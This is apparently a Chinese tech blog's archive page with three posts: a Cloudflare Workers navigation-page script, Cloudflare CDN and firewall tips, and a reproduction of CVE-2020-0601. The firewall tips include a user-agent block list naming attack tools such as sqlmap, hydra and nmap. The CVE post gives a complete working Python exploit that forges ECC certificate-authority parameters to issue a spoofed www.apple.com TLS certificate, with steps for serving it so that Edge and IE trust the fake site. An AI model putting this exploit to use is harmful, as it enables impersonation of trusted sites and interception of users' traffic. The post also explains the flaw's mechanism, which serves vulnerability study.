template:"https://www.baidu.com/s?wd=$s" }, { name:"谷 歌", template:"https://www.google.com/search?q=$s" }, { name:"360", template:"https://www.so.com/s?q=$s" }, { name:"shodan", template:"https://www.shodan.io/search?query=$s" }, ], selling_ads: false, //Selling your domain or not.(turning on may be helpful for selling this domain by showing some ads.) sell_info:{ domain:"example.com", price:500, //domain price mon_unit:"yen sign", //monetary unit contact:[ //how to contact you { type:"envelope", //contact type ("weixin","qq","telegram plane","envelope" or "phone") content:"info@example.com" } ] }, lists: [ //Url list { name:"技术", icon:"code", list:[ { url:"https://oschina.net/", name:"开源中国", desc:"程序员集散地" }, { url:"https://v2ex.com", name:"V2EX", desc:"程序员集散地" }, { url:"https://csdn.net/", name:"CSDN技术社区", desc:"程序员集散地" }, { url:"https://github.com/", name:"Github", desc:"程序员集散地" }, { url:"https://www.vulbox.com/", name:"漏洞盒子", desc:"漏洞盒子" }, { url:"https://www.ichunqiu.com/", name:"I春秋", desc:"I春秋" }, { url:"https://www.butian.net/", name:"补天", desc:"补天" }, { url:"https://www.freebuf.com/", name:"freebuf", desc:"freebuf" }, ] }, { name:"学习", icon:"graduation cap", list:[ { url:"https://w3school.com.cn/", name:"W3school在线教程", desc:"程序员集散地" }, { url:"https://www.runoob.com/", name:"菜鸟教程", desc:"程序员集散地" }, { url:"https://segmentfault.com/", name:"思否社区", desc:"程序员集散地" }, { url:"https://jianshu.com/", name:"简书", desc:"程序员集散地" }, ] }, { name:"博客圈", icon:"code", list:[ { url:"https://www.jcdpn.cn/", name:"鹏龙-道记", desc:"日常更新" }, ] } ] } const el = (tag, attrs, content) => `<${tag} ${attrs.join(" ")}>${content}</${tag}>`; async function handleRequest(request) { const init = { headers: { 'content-type': 'text/html;charset=UTF-8', }, } return new Response(renderHTML(renderIndex(),config.selling_ads? renderSeller() :null), init); } addEventListener('fetch', event => { return event.respondWith(handleRequest(event.request)) }) /*通过分析链接 实时获取favicon * @url 需要分析的Url地址 */ function getFavicon(url){ if(url.match(/https{0,1}:\/\//)){ //return "https://ui-avatars.com/api/?bold=true&size=36&background=0D8ABC&color=fff&rounded=true&name=" + url.split('//')[1]; return "https://icon.occ.hk/get.php?url=" + url; }else{ //return "https://ui-avatars.com/api/?bold=true&size=36&background=0D8ABC&color=fff&rounded=true&name=" + url; return "https://icon.occ.hk/get.php?url=http://" + url; } } /** Render Functions * 渲染模块函数 */ function renderIndex(){ const footer = el('footer',[],el('div',['class="footer"'],'Powered by' + el('a',['class="ui label"','href="https://www.jcdpn.cn/"','target="_blank"'],el('i',['class="github icon"'],"") + '龙帝') + ' ©')); return renderHeader() + renderMain() + footer; } function renderHeader(){ const item = (template,name) => el('a',['class="item"',`data-url="${template}"`],name); var nav = el('div',['class="ui large secondary inverted menu"'],el('div',['class="item"'],el('p',['id="hitokoto"'],'条条大路通罗马'))) var title = el('h1',['class="ui inverted header"'],el('i',[`class="${config.logo_icon} icon"`],"") + el('div',['class="content"'],config.title + el('div',['class="sub header"'],config.subtitle))); var menu = el('div',['id="sengine"','class="ui bottom attached tabular inverted secondary menu"'],el('div',['class="header item"'],' ') + config.search_engine.map((link,key) =>{ if(key == 0){ return el('a',['class="active item"',`data-url="${link.template}"`],link.name); }else{ return item(link.template,link.name); } }).join("")) var input = el('div',['class="ui left corner labeled right icon fluid large input"'],el('div',['class="ui left corner label"'],el('img',['id="search-fav"','class="left floated avatar ui image"','src="https://www.baidu.com/favicon.ico"'],"")) + el('input',['id="searchinput"','type="search"','placeholder="搜索你想要知道的……"','autocomplete="off"'],"") + el('i',['class="inverted circular search link icon"'],"")); return el('header',[],el('div',['id="head"','class="ui inverted vertical masthead center aligned segment"'],(config.hitokoto ? el('div',['id="nav"','class="ui container"'],nav) : "") + el('div',['id="title"','class="ui text container"'],title + (config.search ? input + menu :"") + `${config.selling_ads ? '<div><a id="menubtn" class="red ui icon inverted button"><i class="heart icon"></i> 喜欢此域名 </a></div>' : ''}`))) } function renderMain() { var main = config.lists.map((item) => { const card = (url,name,desc)=> el('a',['class="card"',`href=${url}`,'target="_blank"'],el('div',['class="content"'],el('img',['class="left floated avatar ui image"',`src=${getFavicon(url)}`],"") + el('div',['class="header"'],name) + el('div',['class="meta"'],desc))); const divider = el('h4',['class="ui horizontal divider header"'],el('i',[`class="${item.icon} icon"`],"")+item.name); var content = el('div',['class="ui four stackable cards"'],item.list.map((link) =>{ return card(link.url,link.name,link.desc); }).join("")); return el('div',['class="ui basic segment"'],divider + content); }).join(""); return el('main',[],el('div',['class="ui container"'],main)); } function renderSeller() { const item = (type,content) => el('div',['class="item"'],el('i',[`class="${type} icon"`],"") + el('div',['class="content"'],content)); var title = el('h1',['class="ui yellow dividing header"'],el('i',['class="gem outline icon"'],"") + el('div',['class="content"'],config.sell_info.domain + ' 正在出售')); var action = el('div',['class="actions"'],el('div',['class="ui basic cancel inverted button"'],el('i',['class="reply icon"'],"") + '返回')); var contact = config.sell_info.contact.map((list) => { return item(list.type,list.content); }).join(""); var column = el('div',['class="column"'],el('h3',['class="ui center aligned icon inverted header"'],el('i',['class="circular envelope open outline grey inverted icon"'],"") + '联系我') + el('div',['class="ui relaxed celled large list"'],contact)); var price = el('div',['class="column"'],el('div',['class="ui large yellow statistic"'],el('div',['class="value"'],el('i',[`class="${config.sell_info.mon_unit} icon"`],"") + config.sell_info.price))); var content = el('div',['class="content"'],el('div',['class="ui basic segment"'],el('div',['class="ui two column stackable center aligned grid"'],el('div',['class="ui inverted vertical divider"'],'感兴趣?') + el('div',['class="middle aligned row"'],price + column)))); return el('div',['id="seller"','class="ui basic modal"'],title + content + action); } function renderHTML(index,seller) { return `<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>${config.title} - ${config.subtitle}</title> <link href="https://cdn.jsdelivr.net/npm/semantic-ui-css@2.4.1/semantic.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/gh/sleepwood/cf-worker-dir@0.1.1/style.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/semantic-ui-css@2.4.1/semantic.min.js"></script> </head> <body> ${index} ${config.selling_ads ? seller : ''} <script src="https://v1.hitokoto.cn/?encode=js&select=%23hitokoto" defer></script> <script> $('#sengine a').on('click', function (e) { $('#sengine a.active').toggleClass('active'); $(e.target).toggleClass('active'); $('#search-fav').attr('src',$(e.target).data('url').match(`+/https{0,1}:\/\/\S+\//+`)[0] + '/favicon.ico') ; }); $('.search').on('click', function (e) { var url = $('#sengine a.active').data('url'); url = url.replace(`+/\$s/+`,$('#searchinput').val()); window.open(url); }); /* 鼠标聚焦时,回车事件 */ $("#searchinput").bind("keypress", function(){ if (event.keyCode == 13){ // 触发需要调用的方法 $(".search").click(); } }); $('#menubtn').on('click', function (e) { $('#seller').modal('show'); }); </script> </body> </html>` }此源码来自于Github上的一位大佬,在此感谢一下。进入Cloudflare Workers控制台,有一个创建Worker的按钮。还看?直接点进去啊,慌什么。。。系统默认生成会自带一端Hello Word,我们将刚刚的代码替换进去直接保存部署,当然,你也可以调整一下,在旁边的浏览里面查看页面效果不出意料,非常无脑,直接就搞定了,自动生成的域名非常难受,你可以选择重命名来调整主机名...........边缘脚本部署是不是很简单,还堪称0成本什么是无服务器?通常而言,构建和维护易于扩展的应用程序可支持需求高峰或全球用户群,但这需要大量前期工程和持续运营支持。 开发人员不得不花费大量时间编写支持代码,而非构建应用程序本身。 而借助 Cloudflare Workers,开发人员能够构建无服务器的可扩展应用程序,无需在基础设施或操作上花费时间和精力。借助 Cloudflare Workers,开发人员能够在 Cloudflare 的全球云网络上部署无服务器的 JavaScript 应用程序,应用程序能够在这个网络中无缝扩展,更加接近最终用户。 Workers 基于 Service Workers API 构建,可为向应用程序发出的每次 HTTP(S) 请求接收事件。 然后,Workers 运行应用程序逻辑,并可向 Cloudflare Cache、Cloudflare Workers KV 或应用程序原始服务器发出后续请求,以将数据返回给用户。
2020年04月04日
414 阅读
0 评论
0 点赞
2020-04-03
Cloudflare如何自定义节点
cloudflare是非常良心的企业了,它的cdn服务的口碑是非常好的,但是随着cloudflare的用户多了,还有一些不为人知的原因,cloudflare的cdn的速度越来越慢,对于中国大陆的用户来说,也是使用的美国的节点。毕竟入口带宽是有限的,所以在用网高峰期,也就是晚上是非常卡顿的,某些番茄佬WSS+CDN祸害CF就不说了这个cloudflare也是一个非常有趣的公司,他通过cf partner提供的服务比他自己提供的服务要好一些,至少cf partner的服务可以使用cncme的接入方式和ip的接入方式,但是官网的只能使用NS方式。但cloudflare的DNS服务的体验真的不是很爽,没法暂停解析,没法编辑只能删除重建。所以大家如果不想更改NS服务器可以使用cf partner提供的服务。而且cf partner的节点据说还要快一些。这里提供两个比较稳定的cf partner的服务提供者http://cdn.bnxb.com/ 本次教程使用的网站https://cf.tlo.xyz/ 直接进入,选择域名接入填好你站的相关数据就可以看到你的网站已经激活了(原先的NS方式要先移除)然后您就可以在原域名解析商那边解析cname记录了免费给出的节点稍微有点少,只有标志性的104.27的Anycast节点。这里给出一个亚太地区访问稍快的已经解析好的记录cdns.n1.tv9v.cn不低于15个节点,本站不倒,解析不倒,不定期更换最快节点,(拜托,醒醒,你在大天朝)不过肯定比免费节点来的快晚高峰就算了吧,大天朝的晚上,延迟都会飚到200ms不过不包含移动网络,移动线路走的是香港节点,国内平均能到50-60ms海外线路就非常美观了全球平均才10-20ms 得益于Anycast的加速Cloudflare的防火墙也是个有趣的东西,很多站长经常被CC攻击(DDos就不说了,cf免费无限抗),甚至启动了5秒盾还是依旧会被穿盾。这里分享两个自用的规则验证码盾抗CC:(cf.threat_score gt 2 and not cf.client.bot)过滤扫描器UA:(http.user_agent contains "HTTrack") or (http.user_agent contains "Apache-HttpClient") or (http.user_agent contains "harvest") or (http.user_agent contains "audit") or (http.user_agent contains "dirbuster") or (http.user_agent contains "pangolin") or (http.user_agent contains "nmap") or (http.user_agent contains "sqln") or (http.user_agent contains "hydra") or (http.user_agent contains "Parser") or (http.user_agent contains "libwww") or (http.user_agent contains "BBBike") or (http.user_agent contains "sqlmap") or (http.user_agent contains "w3af") or (http.user_agent contains "owasp") or (http.user_agent contains "Nikto") or (http.user_agent contains "fimap") or (http.user_agent contains "havij") or (http.user_agent contains "zmeu") or (http.user_agent contains "BabyKrokodil") or (http.user_agent contains "netsparker") or (http.user_agent contains "httperf") or (http.user_agent contains "bench") or (http.user_agent contains "SF") or (http.user_agent contains "acunetix") or (http.user_agent contains "Appscan") or (http.user_agent contains "HP ASC") or (http.user_agent contains "Rsas") or (http.user_agent contains "WebReaver")
2020年04月03日
273 阅读
0 评论
0 点赞
2020-04-02
CVE-2020-0601漏洞复现与分析
第一步:生成https证书基于GitHub原作者的python脚本我修改了一些证书信息,运行下面这个python脚本将生成 www.apple.com.cn和 www.apple.com 域名的https证书。#!/usr/bin/env python3 import datetime import hashlib import os import subprocess import sys from typing import BinaryIO, Iterable, Optional, Sequence, Tuple import ecdsa.curves import ecdsa.ellipticcurve import ecdsa.numbertheory import ecdsa.util from asn1crypto import core, keys, pem, x509 def load_certificate_chain(filename: str) -> Iterable[x509.Certificate]: with open( os.path.join(os.path.dirname(os.path.abspath(__file__)), filename), "rb" ) as f: pem_bytes = f.read() for object_type, _, der_bytes in pem.unarmor(pem_bytes, multiple=True): if object_type != "CERTIFICATE": continue yield x509.Certificate.load(der_bytes) def generate_ec_private_key(name: str) -> keys.ECPrivateKey: der_bytes = subprocess.check_output( ( "openssl", "ecparam", "-name", name, "-param_enc", "explicit", "-genkey", "-noout", "-outform", "DER", ) ) return keys.ECPrivateKey.load(der_bytes) def get_exploit_generator( k: int, Qx: int, Qy: int, curve: ecdsa.curves.Curve ) -> Tuple[int, int]: k_inverse = ecdsa.numbertheory.inverse_mod(k, curve.order) Q = ecdsa.ellipticcurve.Point(curve.curve, Qx, Qy, curve.order) G = Q * k_inverse return (G.x(), G.y()) def curve_from_ec_parameters(parameters: keys.SpecifiedECDomain) -> ecdsa.curves.Curve: p = parameters["field_id"]["parameters"].native a = parameters["curve"]["a"].cast(core.IntegerOctetString).native b = parameters["curve"]["b"].cast(core.IntegerOctetString).native Gx, Gy = parameters["base"].to_coords() order = parameters["order"].native curve_fp = ecdsa.ellipticcurve.CurveFp(p, a, b) G = ecdsa.ellipticcurve.Point(curve_fp, Gx, Gy, order) return ecdsa.curves.Curve(None, curve_fp, G, (0, 0)) def digest_certificate(certificate: x509.Certificate) -> bytes: der_bytes = certificate["tbs_certificate"].dump() return hashlib.new(certificate.hash_algo, der_bytes).digest() def sign_certificate( signing_key: ecdsa.keys.SigningKey, certificate: x509.Certificate ) -> None: digest = digest_certificate(certificate) signature_bytes = signing_key.sign_digest( digest, sigencode=ecdsa.util.sigencode_der ) certificate["signature_value"] = signature_bytes def exploit_certificate( certificate: x509.Certificate, ) -> Tuple[ecdsa.keys.SigningKey, keys.ECPrivateKey]: curve_name = certificate.public_key["algorithm"]["parameters"].chosen.native ec_private_key = generate_ec_private_key(curve_name) k = ec_private_key["private_key"].native parameters = ec_private_key["parameters"].chosen nist_curve = curve_from_ec_parameters(parameters) Qx, Qy = certificate.public_key["public_key"].to_coords() Gx, Gy = get_exploit_generator(k, Qx, Qy, nist_curve) parameters["base"] = keys.ECPoint.from_coords(Gx, Gy) ec_private_key["parameters"] = parameters ec_private_key["public_key"] = certificate.public_key["public_key"] certificate.public_key["algorithm"]["parameters"] = parameters exploit_curve = curve_from_ec_parameters(parameters) signing_key = ecdsa.keys.SigningKey.from_secret_exponent(k, curve=exploit_curve) signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate["tbs_certificate"]["signature"] = signed_digest_algorithm certificate["signature_algorithm"] = signed_digest_algorithm sign_certificate(signing_key, certificate) return (signing_key, ec_private_key) def write_pem(f: BinaryIO, value: core.Asn1Value, object_type: str) -> None: print("Writing {} to {!r}".format(object_type, f.name), file=sys.stderr) der_bytes = value.dump() pem_bytes = pem.armor(object_type, der_bytes) f.write(pem_bytes) def generate_private_key( algorithm: str, ) -> Tuple[keys.PrivateKeyInfo, keys.PublicKeyInfo]: pem_bytes = subprocess.check_output( ( "openssl", "req", "-pubkey", "-noout", "-newkey", algorithm, "-keyout", "-", "-nodes", "-batch", "-outform", "PEM", ) ) pem_iter = pem.unarmor(pem_bytes, multiple=True) object_type, _, der_bytes = next(pem_iter) assert object_type == "PRIVATE KEY" private_key = keys.PrivateKeyInfo.load(der_bytes) object_type, _, der_bytes = next(pem_iter) assert object_type == "PUBLIC KEY" public_key = keys.PublicKeyInfo.load(der_bytes) return private_key, public_key def random_serial_number() -> int: return int.from_bytes(os.urandom(20), "big") >> 1 def write_tls_certificate( ca_cert: x509.Certificate, ca_cert_orig: x509.Certificate, signing_key: ecdsa.keys.SigningKey, name: str, subject: x509.Name, subject_alt_names: Sequence[str], ) -> None: private_key, public_key = generate_private_key("rsa:4096") signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate = x509.Certificate( { "tbs_certificate": { "version": "v3", "serial_number": random_serial_number(), "signature": signed_digest_algorithm, "issuer": ca_cert_orig.subject, "validity": { "not_before": x509.UTCTime( datetime.datetime(2019, 10, 24, tzinfo=datetime.timezone.utc) ), "not_after": x509.UTCTime( datetime.datetime(2020, 10, 23, tzinfo=datetime.timezone.utc) ), }, "subject": subject, "subject_public_key_info": public_key, "extensions": [ { "extn_id": "basic_constraints", "critical": True, "extn_value": {"ca": False}, }, { "extn_id": "subject_alt_name", "critical": False, "extn_value": [ x509.GeneralName({"dns_name": dns_name}) for dns_name in subject_alt_names ], }, { "extn_id": "certificate_policies", "critical": False, "extn_value": [ {"policy_identifier": "1.3.6.1.4.1.6449.1.2.1.5.1"}, ], }, ], }, "signature_algorithm": signed_digest_algorithm, } ) sign_certificate(signing_key, certificate) with open(name + ".crt", "wb") as f: write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open(name + ".key", "wb") as f: write_pem(f, private_key, "PRIVATE KEY") write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") def get_name(purpose: Optional[str] = None) -> str: components = ["www.apple.com", "aaaa"] if purpose: components.insert(1, purpose) return " ".join(components) def main() -> None: _, ca_cert, _ = load_certificate_chain( "comodoecccertificationauthority-ev-comodoca-com-chain.pem" ) ca_cert_orig = ca_cert.copy() signing_key, ec_private_key = exploit_certificate(ca_cert) with open("intermediateCA.crt", "wb") as f: write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open("intermediateCA.key", "wb") as f: write_pem(f, ec_private_key, "EC PRIVATE KEY") write_tls_certificate( ca_cert, ca_cert_orig, signing_key, "www.apple.com", x509.Name.build( { "incorporation_country": "US", "business_category": "California", "serial_number": "C0805582", "country_name": "US", "common_name": "www.apple.com", "organization_name": "Apple Inc.", "organizational_unit_name": "Internet Services for Akamai", } ), ("www.apple.com.cn", "www.apple.com"), ) if __name__ == "__main__": main()第二步:部署https网站将生成的https证书(www.apple.com.crt)和私钥文件(www.apple.com.key)部署到Nginx上,并启动Nginx。第三步:修改hosts文件在hosts文件中添加 www.apple.com 域名的解析记录,将 www.apple.com 解析到本地服务器。第四步:访问www.apple.com网站Edge浏览器访问假网站:IE浏览器访问假网站不过,火狐大法就不管用了0x02 椭圆曲线数字签名算法(ECDSA)在2009年修订的FIPS 186加入了基于椭圆曲线密码的数字签名方法,称其为椭圆曲线数字签名算法(ECDSA)。由于椭圆曲线密码效率方面的优势,ECDSA的应用越来越广泛。ECDSA算法过程如下:参与数字签名的所有方都使用相同的全局域参数,用于定义椭圆曲线以及曲线上的基点。签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥,使用随机数和基点,可以计算椭圆曲线上的另一个解点,作为公钥。对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名,包括两个整数r和s。验证者使用签名者的公钥、全局域参数、整数s作为输入,计算v,并与r比较。如果两者相等,则签名通过。0x03 漏洞原理通常,签名者产生一对公私钥后,要去证书中心(certificate authority,简称CA),为公钥做认证,以此来证明签名者本身身份。证书中心用自己的私钥,对签名者的公钥和一些相关信息一起做签名,生成数字证书(Digital Certificate)。由补丁分析部分可知,微软在对数字签名做合法校验时,支持椭圆曲线参数的自定义输入,又只对公钥信息做校验,存在严重缺陷。攻击者可以传入自定义的全局域参数、签名信息s,只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate Authority 2018的公钥保持一致,就可以绕过校验逻辑,让数字签名信息看起来就是ECC根证书签发的一样。而这,是很容易做到的。假设ECC根证书的私钥是d(对攻击者未知),基点是G,公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线,只需d’=1(单位元),G‘=Q,则Q‘=d’G’=Q,从而完成攻击。
2020年04月02日
78 阅读
0 评论
0 点赞
1
...
8
9
10
...
12